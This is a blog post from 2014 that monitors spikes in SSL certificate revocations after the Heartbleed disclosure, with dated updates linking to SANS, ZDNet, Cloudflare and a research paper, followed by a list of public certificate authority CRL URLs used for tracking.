Here we can see the number of certificates revoked over the past two years (see updates below for discussion of the spike around 4/16):

And here we can see the activity over the past month.  Since we know that some folks received advanced notification of the vulnerability, I was especially interested to know if there a spike in revocations prior to the announcement.  (Which I don't see.)

Just to provide some context, here's the same data for this calendar year. 

If you're interested in drilling into this a bit deeper, check out the numerous charts at:

http://del.thearmstrongfamily.org/images/List-Charts.html

Obviously, I'll keep an eye on certificate revocations for awhile.  All these charts are now being updated automatically every night.

It'll be interesting to see what the next weeks will bring.  Some folks are predicting a meltdown of both the CRL handling infrastructure (straight CRLs, OCSP and Google's CRLSet), as well as the infrastructure for issuing replacement SSL certificates.

---

Update (4/15/2014):  Those who know me know I'm extraordinarily lazy, I'll spend days getting a computer to do 5 minutes of work for me.  :-)  I've automated producing these charts, and through the magic of cron I'll be updating them daily.  They're not the pretty ones I created with Excel previously, but gnuplot is my friend in this case.

---

Update (4/16/2014): The good folks as SANS published a diary entry yesterday looking at the same issues.  They produced a similar chart, but from a much richer set of sources.  When I contacted them to ask who their sources were, not only did they provide a list - they put up a spiffy page which features an automated chart.  So the charts here now have a total of 16 different sources for CRLs.  Whoopee!

Here's the SANS diary entry: https://isc.sans.edu/forums/diary/INFOCon+Green+Heartbleed+-+on+the+mend/17961

Here's a link to their CRL tracking page: https://isc.sans.edu/crls.html

---

Update (4/16/2014 - #2): SANS has provided an even more comprehensive list of CRLs.  Also they noticed that with the enhanced list, there's a massive spike in certificate revocations ... due to a massive number of certificate revocations from Globalsign.com.

Here's a page where they document this spike: https://isc.sans.edu/forums/diary/Heartbleed+CRL+Activity+Spike+Finally+Found/17977

---

Update (4/18/2014): The rest of the world is starting to catch up on this issue.  This article looks at the impact of massive CRL changes to the "performance" of the Internet - and confirms that Akamai is planning a major round of certificate revocations: http://www.zdnet.com/internet-slowed-by-heartbleed-identity-crisis-7000028506/

Here, BTW, is a observation from Cloudflare on the cost of massive certificate revocation: http://blog.cloudflare.com/the-hard-costs-of-heartbleed

---

Update (4/20/2014):  In an effort to provide more comprehensive monitoring, I've modified (actually rewritten) my program to provide a plethora of charts.  They're updated daily, and available at this URL:

http://del.thearmstrongfamily.org/images/List-Charts.html

I've added this link to the primary blog entry above. 

---

Update (9/10/2014): This excellent paper just came out.  A comprehensive review of how site admins responded to the Heat Bleed vulnerability.  Two Thumbs up!

https://jhalderm.com/pub/papers/heartbleed-imc14.pdf

---

And here's the updated list of the CRL sources which both SANS and I use:

http://corppki/crl/MSIT Machine Auth CA 2(1).crl,

http://crl-ssl.certificat2.com/keynectis/class2keynectisca.crl,

http://crl.comodoca.com/COMODOExtendedValidationSecureServerCA.crl,

http://crl.comodoca.com/COMODOHigh-AssuranceSecureServerCA.crl,

http://crl.comodoca.com/COMODOSSLCA.crl,

http://crl.entrust.net/level1c.crl,

http://crl.globalsign.com/gs/gsdomainvalg2.crl,

http://crl.globalsign.com/gs/gsorganizationvalg2.crl,

http://crl.godaddy.com/gdig2s1-42.crl,

http://crl.godaddy.com/gds1-54.crl,

http://crl.godaddy.com/gds1-85.crl,

http://crl.microsoft.com/pki/mscorp/crl/MSIT Machine Auth CA 2(1).crl,

http://crl.netsolssl.com/NetworkSolutions_CA.crl,

http://crl.omniroot.com/PublicSureServerSV.crl,

http://crl.startssl.com/crt2-crl.crl,

http://crl.usertrust.com/USERTrustLegacySecureServerCA.crl,

http://crl2.netsolssl.com/NetworkSolutions_CA.crl,

http://crl3.digicert.com/ca3-g27.crl,

http://crl3.digicert.com/sha2-ev-server-g1.crl,

http://crl3.digicert.com/ssca-g5.crl,

http://crl4.digicert.com/ca3-g27.crl,

http://crl4.digicert.com/sha2-ev-server-g1.crl,

http://EVIntl-crl.verisign.com/EVIntl2006.crl,

http://EVSecure-crl.verisign.com/EVSecure2006.crl,

http://gtssl-crl.geotrust.com/crls/gtssl.crl,

http://gtssl2-crl.geotrust.com/gtssl2.crl,

http://mscrl.microsoft.com/pki/mscorp/crl/MSIT Machine Auth CA 2(1).crl,

http://pki.google.com/GIAG2.crl,

http://sd.symcb.com/sd.crl,

http://svr-sgc-crl.thawte.com/ThawteSGCG2.crl,

http://SVRIntl-G3-crl.verisign.com/SVRIntlG3.crl,

http://SVRSecure-G3-crl.verisign.com/SVRSecureG3.crl